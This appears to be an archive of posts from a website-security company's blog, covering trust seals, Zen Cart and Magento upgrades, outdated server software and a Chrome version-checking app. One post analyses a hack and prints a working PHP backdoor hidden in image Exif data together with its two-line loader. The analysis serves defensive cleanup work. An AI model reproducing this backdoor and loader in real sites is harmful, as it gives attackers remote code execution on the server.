Trust Guard and the False Security of Trust Seals

The recent massive credit card breach at Home Depot was yet another reminder that whether offline or online, IT security is often lacking. For consumers the question then is how can they know that their information is secure when they provide it to companies? Numerous security companies have created trust seals – that can be placed on websites if they meet certain requirements – that let the public know that a website is secure. The problem we have found with a number of these is that they are not doing basic security checks and therefore their assurances of security are false. Last week took a look at SiteLock’s and earlier this year we looked Norton’s, now we will look at another bad trust seal that we ran across recently.

While visiting the website of a client’s web host recently our Chrome extension Meta Generator Version Check provided an alert that website was running an outdated version of Joomla:

Hostica is Running Joomla 1.5

It obviously isn’t a great sign that web host is running outdated software on their website (especially when that version hasn’t been supported for two years), but what was more surprising was the Trust Guard security verified trust seal at the bottom of the website:

Hostica's Trust Guard Security Verified Trust Seal

In this case it is easy to detect that the website is running an outdated version of Joomla since there is a meta generator tag in the source code of the website’s pages that tells you exactly that:

<meta name=”generator” content=”Joomla! 1.5 – Open Source Content Management” />

With such an easy to detect security issue a trustworthy trust seal shouldn’t claim that the website is secure. We were curious to find out exactly what security checks Trust Guard was actually doing. Clicking the trust seal brought up a page that explained why they are claiming the website has verified security:

In order for www.hostica.com to qualify for the Trust Guard Security Verified Seal, we verify that their website is using at least 128-Bit SSL Encryption on pages where private information can be entered, such as credit cards, Social Security numbers, loan information, etc. and we monitor the SSL certificates expiration.

While using SSL encryption when sensitive information can be entered is important for security it doesn’t mean a website is secure, just that someone cannot snoop on the information as it sent to the website. For example, we have done plenty of cleanups of hacked websites in which the credit card information was compromised once it made its way to the website. Since a web browser’s user interface already provides notice when a secure SSL connection is in use, it isn’t clear what security value the trust seal is meant to provide, but it doesn’t seem that it out ways how misleading it is to claim that a website’s security is verified based only on the fact that it is using SSL encryption.

Posted in Bad Security, Outdated Web Software | 1 Comment

Is it Time to Upgrade to Zen Cart 1.5.3?

It has now been a couple of months since Zen Cart 1.5.3 was released and we have now handled enough upgrades to the new version to provide our insights on the question that has been coming up when discussing upgrading Zen Cart with clients, is it time to upgrade Zen Cart 1.5.3?

Let’s start with what is new in Zen Cart 1.5.3. One of the big changes is that version 1.5.3 supports PHP 5.4, 5.5, and 5.6. The new version includes some security enhancements, including better password hashing. It also includes numerous bug fixes and some performance enhancements. You can find the full list of changes in the release announcement.

We have run into couple of issues when doing upgrades to 1.5.3. The first is that many addon modules do not officially support Zen Cart 1.5.3 yet. For some modules they may not need any changes and their maintainer just hasn’t bumped the Zen Cart version supported. Others that modify core Zen Cart files will need to have updated versions of those files included, until they do that you can use those with 1.5.3 if you apply the changes they make to those files to the versions of the file include with 1.5.3. Others need to be modified to work with Zen Cart 1.5.3. The second issue we have found is that some changes in Zen Cart 1.5.3 will require making changes with your current setup, for example changing the time zone now needs to be done differently and custom templates may need to be changed to support more secure redirect links.

With the basics set out, below we provide on advice on whether it is time to upgrade depending on your current situation:

Running Zen 1.3.9, 1.3.8, or older

If you are still running Zen Cart 1.3.9, 1.3.8, or and even older version you are overdue for an upgrade at this point so you should probably go ahead with the upgrade now. While issues with modules and 1.5.3 could cause some issues, you are going to probably run into module issues that will have to be dealt during testing when upgrading from those versions to any version of Zen Cart 1.5.

Need to Be Using a PA-DSS Certified Version of Zen Cart

Zen Cart 1.5.0 continues to be the only version to be PA-DSS certified, so for those that need that for PCI compliance purposes should remain on 1.5.0 for now. In the release announcement for 1.5.3 it says that a new PA-DSS certified version should “hopefully” be released in “only a couple months”.

Web Hosting Account Switching to PHP 5.4, 5.5, or 5.6

The number one reason we are hired do Zen Cart upgrades is that version currently being used is not compatible the version of PHP that the web server the website hosted on is being upgraded to. With the recent end of support for PHP 5.3 web hosts should be moving to at least PHP 5.4 soon (though many web host are only now transitioning off of PHP 5.2 despite support ending in January of 2011). Zen Cart 1.5.3 is the first release to support PHP 5.4, 5.5, and 5.6 so anyone moving to those versions of PHP should upgrade.

Running 1.5.0 or 1.5.1

If you don’t need to upgrade for the new versions of PHP, don’t have an urgent need for an of the bug fixes or improvements, and use a lot of modules you may to want hold off until more modules are updated for Zen Cart 1.5.3. Otherwise, it would be a good idea to do upgrade now.

Posted in Zen Cart | Leave a comment

Companies Trying to Sell Unnecessary Work Along With Needed Web Software Upgrades

When it comes to the security of websites, often the basic security precautions are not being taken. This year we have looked at data showing that many Joomla, Drupal, and WordPress based websites are not being updated in a timely manner, which leaves them at risk from vulnerabilities that have been fixed in subsequent releases. Companies involved with the development or maintenance of websites should be trying to do more to make sure that websites are kept up to date, but a couple of recent situations showed there are some companies out there trying to use people’s needs for updates as an opportunity to sell them unneeded work instead. Below we will take a look at those and provides some advice on preventing being taken advantage of in that type of situation.

Magento Doesn’t Require Incremental Upgrades

While recently discussing a Magento upgrade with a potential client they mentioned that they had tried a test of the upgrade that had had problems and that other companies that they had talked to had told them that the upgrade has to be done through a series of incremental upgrades to prevent that type of thing. That is, instead of going from their current version of 1.5 directly to 1.9 the website would need to be upgraded from 1.5 to 1.6 then to 1.7 then to 1.8 and finally to 1.9. When we heard that we were perplexed, not only are incremental upgrades not needed but in looking over lots of material on Magento upgrades (due to our having dealt with probably about everything that can go wrong with a Magento upgrade) we have never even seen doing that suggested. It also wouldn’t have had any impact on the problems they had. Doing those incremental upgrades was going to increase the cost of the upgrade, which seems to be why the companies would be claiming it was needed.

If incremental upgrades were needed you would expect it to be in the official upgrade documentation, which it isn’t. To better understand why that isn’t needed lets break down the upgrade. The upgrade involves changing two things:

The first is replacing the old Magento files with the new ones. If you directly upgrade to the new version or do incremental upgrades you will end up with the same files in use. The incremental upgrade might leave some left over files that are not used in the new version. So for this part of the upgrade the incremental approach adds nothing.

The second is updating the database to make it compatible with the new version of Magento. Magento will automatically make all the necessary updates from the version were running to the new version. So doing incremental upgrades would just split up the updates, but the end result would be the same updates running. We have never had any problem with database update caused by going directly from as far back as version 1.3.x to the latest version, 1.9.x. It is true to that sometimes servers have problems running through all the database updates, but there are better options for handling that then doing a bunch of incremental upgrades (doing the database portion of the upgrade on a separate server is very effective workaround provided you do this in your test of the upgrade first to insure it doesn’t cause any complications).

Websites Don’t Just Fail and You Can Upgrade Older Zen Cart Versions

The second situation was a lot more troubling. We were first contacted by a potential client about getting a quote for a Zen Cart upgrade and then they wanted quote to replace the store with a new Zen Cart installation. When we asked what was wrong that they needed a new Zen Cart installation they explained that another company had told them that their current Zen Cart installation “will fail and I will wake up one day and it will be gone” and they would need a whole new one. The idea that the website would just fail one day sounds quite scary, but it isn’t true. Websites don’t just fail like that. The only situation we could think of where something close to like that is if a web host upgrades to a newer versions of PHP then older versions of Zen Cart will stop functioning. That can prevented by upgrading to a newer version of Zen Cart. So why couldn’t they just upgrade? Well the other company was claiming that there Zen Cart installation was to old to upgrade. We have no idea why they would say that since the version in use, 1.3.9f, is much newer than versions we frequently do upgrades from. Either the other company, which portrayed themselves as Zen Cart specialists, didn’t have any idea what they are doing or they trying to trick people into unneeded work.

Protecting Yourself

There are two good options to make sure you don’t get taken advantage of in situations like this. First, when you are looking into having an upgrade done contact multiple companies to discuss what they would do in the situation. In these cases when the suggested unneeded work was brought up we were able to explain why it wasn’t needed. The second is to ask in the forum for the software if what the company is telling you is accurate. From what we have seen the information in those forums is generally accurate and in the type of situations we described we are sure someone would have explained that what is being said by the companies isn’t true.

Posted in Magento, Zen Cart | Leave a comment

SiteLock Fails To Do Basic Security Check

When it comes to the security of websites what we see is a situation where basic security measures, like keeping software up to date, are not being taken and security companies, most of whom appear to have little interested in actually improving security, are selling security services that are really not needed. A good example of this is SiteLock, which sells a security service that doesn’t provide any of the security measures that need to be taken to protect your website from hackers. Worse than that, we recently found that it is really poor at doing one of things that it is supposed to do, leading the people running websites and their customers to have a false sense of security.

We recently were hired to do an upgrade of website running Magento 1.4.1.1, a rather out of date version (the next version, 1.4.2.0, was released in December of 2010). When we took a look at the website we were rather surprised to see a security seal from SiteLock claiming the website was secure (we have blacked out the domain name in the image):

SiteLock Secure Seal

Version 1.4.1.1 of Magento is old enough that security patches for major issues are no longer released for it and anyone concerned about security would be running at least the most recent major release, 1.9.0.0, as it includes a number of security enhancements:

  • Addressed a potential cross-site scripting (XSS) vulnerability while creating configurable product variants.
  • Addressed a potential security issue that could result in displaying information about a different order to a customer.
  • Users can no longer change the currency if the payment method PayPal Website Payments Standard is used.
  • Removed an .swf file from the Magento distribution because of security issues.
  • Improved file system security.
  • Enhanced the security of action URLs, such as billing agreements.
  • Addressed a potential session fixation vulnerability during checkout.
  • Improved the security of the Magento randomness function.

We don’t really think that a website should labeled as secure in that instance, but we assumed that SiteLock had at least provided a private warning that the website was in need of an update. But according to our client they never heard anything from SiteLock about the issue. This is surprising considering it is something that service is supposed to be providing. On the homepage of their website they start the description of their services as “We scan your website to find and fix existing malware and vulnerabilities “. On the page about the service they further expand on that:

Our scanners identify applications you have installed and which version you have. We compare that to industry and proprietary lists to determine the security of your installation. SiteLock’s comprehensive scanning eliminates reports of “false positives” that are not truly dangerous to your business. If we discover a vulnerability in our testing, we report it to you immediately and can help you upgrade your application version and secure your site.

How did SiteLock miss that the website is running such outdated software? It is not because it is difficult to detect. If you have access to the website’s underlying files, which it appears SiteLock would have, then you can easily get the Magento version number from the file /app/Mage.php in Magento. Without access the underlying files you can still get the version number of Magento in use. One way to do that is with our Magento Version Check extension for Chrome, which had no problem detecting the version in use on the website:

Magento Version Check

For anyone looking for a tool that will actually alert you when your websites are using outdated software our Up to Date? app for Chrome provides just that:

Up to Date? app showing Magento verisons

As for the SiteLock service, you would better off using the money you would spend on their service on the things that will actually keep your website secure.

Posted in Bad Security, Magento | Leave a comment

Setting The Time Zone in Zen Cart 1.5.3

By default Zen Cart uses the time zone of the server the website is hosted on as the time zone for the store, which often isn’t the preferred time zone. In the past changing the time zone required modifying the server or using a module (either the Time Zone Offset module or the subsequent Time Zone Fix module). With Zen Cart 1.5.3 all you have to do to set the time zone is to add your preferred time zone in the file /includes/extra_configures/set_time_zone.php on the line:

$TZ = ” // eg: ‘Europe/Oslo’

For example, if you are in Sydney, Australia you would change it to:

$TZ = ‘Australia/Sydney’ // eg: ‘Europe/Oslo’

The full list of time zones values available can be found at http://www.php.net/manual/en/timezones.php.

If the setting has properly configured your preferred time zone will be shown at the top of the Zen Cart admin pages:

Zen Cart Admin Time Zone Displayed

For those currently using the Time Zone Fix module to set the time zone, you will need to switch to the new method when you upgrade to Zen Cart 1.5.3 as the module no longer functions in 1.5.3.

Posted in Zen Cart | Leave a comment

DreamHost’s Failure to Keep MySQL Updated Blocks Use of Latest Moodle Version

When it comes to the security of websites, keeping the software running them up to date is an important. While web hosts make a point of emphasizing the need to keep the user added software up to date, up to point of often incorrectly jumping to the conclusion that a website must have been hacked due to outdated software, they often fail to their part by keeping the software running the server up to date. In the case of DreamHost, this now not only means that their servers are not properly secured, but also that recent software can’t be used.

The latest version of Moodle, 2.7, requires at least version 5.5.31 of MySQL. This shouldn’t be a problem as MySQL 5.5 is currently the oldest series supported and version 5.5.31 was released 16 months ago. Unfortunately, while we preparing to do a Moodle upgrade for a client hosted with DreamHost we found that they are still on version 5.1.56. Our client contacted them about this and didn’t get any movement on getting this updated. They were not first, as the issue was brought up in May on a thread on DreamHost forum requesting that MySQL be updated. A DreamHost representative replied in the thread before and after that so they should have be aware that it was mentioned.

While the inability to use the latest version of Moodle is of concern, the larger issue is just how out of date DreamHost leaves the software running on their servers. Support for MySQL 5.1 ended at the end of last year, so they have been running an unsupported version for eight months. If they needed to stick to MySQL 5.1 for some reason, then you would expect that would be running the last version of 5.1, but there not. Instead they are running a version that is over three years out of date (5.1.57 was released in May of 2011) and they didn’t update after either of two subsequent releases with security updates were put out (5.1.62 and 5.1.63).

Posted in Bad Security, Moodle, Outdated Server Software | Leave a comment

Hackers Hiding Malicious Code in Exif Data of Images

We don’t write much on what hackers do with websites once they hacked them since the focus of security companies should be on making sure that website don’t get hacked in the first place, which wouldn’t be hard to do if the companies were interested in that, but sometimes hackers are doing something worth discussing.

Hackers use various methods to try to hide the malicious code they add to websites. Oftentimes they obfuscate the code in some way, though this often makes it easier to spot the malicious code since very little legitimate code on a website would be similarly obfuscated. While cleaning a website recently we dealt malicious code that was one hand better hidden to some detection methods, but on the other hand caused the fact the website was hacked to be identified when it hadn’t been otherwise identified for some time. The website in question had been repeatedley hacked through the exploitation of a vulnerability in an outdated version of the Joomla extensions JCE. Once one of the hackers had gained access to the website they placed malicious code into the Exif data, which stores information on the camera that took the photo, of existing images on the website. The hacker replaced the existing data on the camera maker and model with malicious code:

Malicious Code in Exif Data

When deobfuscated the full code in the model tag reads:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

That code would evaluate (run) the data sent with POST variable zz1.

On its own the image file is harmless since the web server will not run the code stored in the Exif data, so a second file is used in conjunction with the image file. In this case the file consisted of two lines of code:

<?php
$exif = exif_read_data(‘/[redacted]/templates/ja_purity/images/header/header4.jpg’);
preg_replace($exif['Make'],$exif['Model'],”);
?>

The first line reads the Exif data and the second executes the code stored in the image. The code looks rather harmless by itself, so it could easily be missed when checking for malicious code.

If a malicious code scanner doesn’t check the Exif data of image files then the malicious code could unnoticed in that as well. In this case the malicious code was detected not by something scanning the server, but by desktop antivirus software checking as the website was being visited by normal users. When we were first contacted about the website we were somewhat confused about why it would be setting anti-virus software because we were not being served any malware by the website and the only outward impact of the hack was some hidden spam links, which usually don’t set off anti-virus software. Once we got in to clean it up we found the malicious code in some image file’s Exif data and were able to figure out what was going on.

Running an image file with the modifications made by the hacker to the Exif data through VirusTotal shows that 21 of the 53 virus scanners they check currently identify the malicious code (shown below). Of those, 13 include PHP in their label which makes identifying what is going easier than other likes Symantec, which simply lists it as a “Trojan Horse”.

AVG: PHP/Small.A
Ad-Aware: Trojan.PHP.Agent.GA
AntiVir: PHP/Agent.xadx
Avast: JPG:PHPAgent-A [Trj]
BitDefender: Trojan.PHP.Agent.GA
CAT-QuickHeal: JPEG.Trojan.Agent.GA
Emsisoft: Trojan.PHP.Agent.GA (B)
F-Secure: Trojan.PHP.Agent.GA
GData: Trojan.PHP.Agent.GA
Ikarus: Backdoor.PHP.Agent
Kaspersky: Trojan.PHP.Agent.dn
McAfee: Generic BackDoor.agb
McAfee-GW-Edition: Generic BackDoor.agb
MicroWorld-eScan: Trojan.PHP.Agent.GA
Microsoft: Backdoor:PHP/Small.J
NANO-Antivirus: Trojan.Jpg.Agent.cgxikf
Norman: Backdoor.CDG
Symantec: Trojan Horse
TrendMicro: BKDR_ZZPEG.SM
TrendMicro-HouseCall: BKDR_ZZPEG.SM
nProtect :Trojan.PHP.Agent.GA

Posted in Website Hacked | Leave a comment

Outdated Software Is Not Necessarily the Cause Of Your Website Being Hacked

On this blog we focus a lot on the large problem of software on websites not being kept up to date. But the importance of keeping software up to date is misunderstood or misused, leading to more security problems. What we often see with web hosts, and to a lesser degree security companies, is that they tell people that their hacked website must have been hacked due to outdated software. There are a couple of major problems with this. First, websites are often are hacked due to reasons other than outdated software. It could be caused by malware on the computer of someone involved in the website, poor security at the web host, a vulnerability that even exist in the latest version of software, or a variety of other issues. The second major problem is that if you assume that the website was hacked due to outdated software and it wasn’t then the vulnerability doesn’t get fixed and the website could get hacked again (which based on the people that come to us to re-clean hacked websites, happens often). Below we dive into more detail of several of the important points on understanding what role outdated software plays in hacks.

Most Vulnerabilities Are Not Likely to Lead to Your Website Being Hacked

If you look at popular software like Drupal, Joomla, and WordPress they release security updates on a fairly regular basis. While you should be applying those security updates, it is important when dealing with a hacked website to understand that most security vulnerabilities fixed in software are not likely to lead to your website being hacked. For the average website, hackers will only try to hack it using very basic hacks that don’t rely on human interaction, so vulnerabilities that would require targeting your website are unlikely to be used. There are other vulnerabilities that would need to be combined with another vulnerability to be successfully exploited and yet other security vulnerabilities that couldn’t be used to hack your website, for example an old WordPress vulnerability allowed users to view other user’s trashed posts.

When it comes to Drupal, Joomla, and WordPress, only with Joomla have we seen a new vulnerability in the software successfully be exploited in the past few years. So with Drupal and WordPress if somebody is telling you an outdated version caused the hack chances are they are wrong. The vulnerabilities in Joomla could impact websites running 1.6.x, 1.7.x, and 2.50-2.5.2 if user registration is enabled or versions 1.5.x, 1.6.x, 1.7.x, 2.5.0-2.5.13, 3.0.x, and 3.1.0-3.1.3 if untrusted users are allowed to upload files.

When hiring someone to deal with a hacked website, finding someone with expertise with the software you use can be important for understanding what impact the security vulnerabilities in an outdated version of it potentially have and if they could have lead to the website being hacked.

You Need to Determine How the Website Was Hacked

Our experience is that many companies provide hack cleanup services don’t actually do the important task of determining how the website got hacked. While you might get lucky and the vulnerability is fixed without determining what it was first or the hacker doesn’t come back, you shouldn’t bet on that. We often have people comes that had previously had someone else clean up the website and then in short order it gets hacked again. Our first question in those situation is if the source of the originally hacked was determined and we have someone answer that it was, the usual response is that determining the source of the hack was never even brought up.

When it comes to saying that your website must have been hacked due to outdated software, what we have seen is this often not based on any evidence. In fact, in some cases we have seen web hosts blaming outdated software despite the software being up to date at the time of the hack. If somebody tells you that it is the cause they should be able to tell you what the vulnerability is and provide evidence that supports the claim. If the logs of access to the website are available they should be able to show you the relevant log entries showing when the hack was exploited. Unfortunately, in too many cases web hosts do not have good log retention policies so the logs are gone once the hack is discovered, but someone who knows what they are doing should be able to explain why the evidence still available matches exploitation of the vulnerability.

Before you hire someone to clean up a hacked website make sure that determining the source of the hack is part of their service, if it isn’t they are not doing things properly.

You Can Be Up to Date Without Running the Latest Version of Software

We often see people confusing the need to keep software up to date with the need to be running the latest version of the software. While they are the same in some cases when the developers only support one version of the software at a time, in other cases you only need to be running an up to date version of one of the supported versions to be secure. For example, Drupal currently supports versions 6 & 7, so at the moment you should be running 6.31 or 7.28. While newer versions may include security improvements over an older version, the older version should still be secure against hacking as long as it is receiving security updates. Using Drupal as an example, Drupal 7 introduced better password hashing, which improves security but would only have impact on it in a situation where someone has gained access to the database, which they shouldn’t if things are secure.

For those in charge of managing numerous websites you can use our Up to Date? Chrome app to keep track of the update status of websites running Drupal, Joomla, WordPress, and other software all in one place.

Posted in Bad Security, Outdated Web Software | Leave a comment

ManageWP Shows Lack of Concern for Security by Running Insecure Version of WordPress

When it comes to the security of websites, what we see over and over is that the basics are not even being handled by people that shouldn’t have a problem doing it. If you are running a WordPress website then part of Security 101 is keeping WordPress up to date, as it prevents your website from being hacked due to a known vulnerability in an older version of WordPress. Unfortunately, that isn’t being done in many cases as can been seen in the fact that only 40 percent of WordPress websites were running the latest series of WordPress in the data set we looked at in March.

You would think that providing better management tools would help this situation, though the example of one of the providers of such a tool would say otherwise. ManageWP describes its services as providing you the ability to “Manage all your WordPress sites from one place – including updates, backups, security and more.” You would certainly expect they would be keeping the WordPress installation powering their website up to date, but they’re not:

ManageWP is Running WordPress 3.5.2WordPress 3.5.2 is over ten months out of date and there have two subsequent releases with security updates (3.6.1 and 3.8.2).

ManageWP’s failure to take handle a basic security task is sharp contrast to their claims of security. For example, they claim

Securing ManageWP and the sites we interact with has always been our highest priority. We use state-of-the-art encryption and security standards that go above and beyond what WordPress, itself, offers, to ensure that your sites are protected.

On another page they make a series of claims about their security:

How ManageWP Is Secure

  • We have a full-time security specialist
  • We regularly perform penetration testing
  • No credit card information stored
  • No WordPress passwords stored
  • OpenSSL encryption
  • ManageWP is built on top of WordPress
  • Account password encryption
  • White hat reward program

If you are security specialist who fails to make sure such a basic security measure is taken then you probably should find another profession.

Another bad sign for their concern for security is their integration of Sucuri.net’s deeply flawed malware scanning into their service.

 

 

Posted in Bad Security, WordPress | 2 Comments

Keeping Track of the Update Status of Web Apps on the Websites You Manage

If you follow our blog you know that many websites are not getting the software running on them updated in a timely manner, which is a basic security measures. Just yesterday we looked at the fact that two months after a security update was released for Drupal 7 only 29 percent of the websites running it had been updated. To try to improve the situation we have now put together a Chrome App, Up to Date?, to help those who manage websites keep track of the update status of web apps on those websites. With the app you don’t have to keep track of when new versions of the software are released or log in to the individual websites to see if an update is available as the app lists the versions in use and if it is an outdated version for all the websites in one place.

The app currently can check the versions of the following web apps:

  • concrete5
  • Drupal
  • Joomla
  • Magento (Community Edition only)
  • MediaWiki
  • Moodle
  • PrestaShop
  • Revive Adserver (formerly OpenX)
  • SPIP
  • TYPO3
  • WordPress
  • Zen Cart

(If you are interested in additional web app being checked please let us know in the comments section or through our contact form.)

To show what the app does let’s see if the MediaWiki versions running on some of the websites of the other web apps we check for are being kept up to date:

MediaWiki Versions: http://codex.wordpress.org - 1.15.5 (Outdated), http://docs.joomla.org - 1.21.5 (Outdated), http://docs.moodle.org/27/en/ - 1.21.9 (Outdated), http://www.zen-cart.com/wiki/ - 1.18.1 (Outdated), http://wiki.typo3.org/ - 1.23.0

Of the five, only TYPO3 has kept their MediaWiki installation up to date. Joomla and Moodle are running versions from earlier this year, which is not that bad compared to the other two. Zen Cart is running a MediaWiki versions, 1.18.x, for which support ended in 2012. WordPress has the dubious distinction of still running a version of MediaWiki, 1.15.x, for which support ended back in 2010. That software developers who remind you that you need to keep their software up to date are not following that advice with other software highlights the need for improvement.

Why a Chrome App?

When we started looking at putting this together one of the first questions was what type of application we would make. Making it web-based is an obvious option, but we went with a Chrome app for several important reasons.

One of the big reasons for this was that with a Chrome app we could leverage the version checking code we already created and keep up to date for our various version check extensions. With those you can see if websites are running the software and check if the websites are up to date as your browse in Chrome. There are currently versions available for Drupal, Joomla, Magento, MediaWiki, PrestaShop, Revive Adserver, WordPress, and Zen Cart. While working on the app lead we made some improvements to the version checking code that has been incorporated in to the extensions. Using a Chrome app also allowed us to create something that works across Linux, Mac OS, and Windows.

The other big reason is that these web apps are also used on internal websites, which wouldn’t be accessible if the version checking was done from a web-based app. While updating software running on an intranet doesn’t have the same necessity as something connected to the Internet, numerous breaches of major organizations internal systems is reminder that just because something isn’t directly accessible from the Internet it doesn’t mean that security can be ignored.

Posted in Outdated Web Software | Leave a comment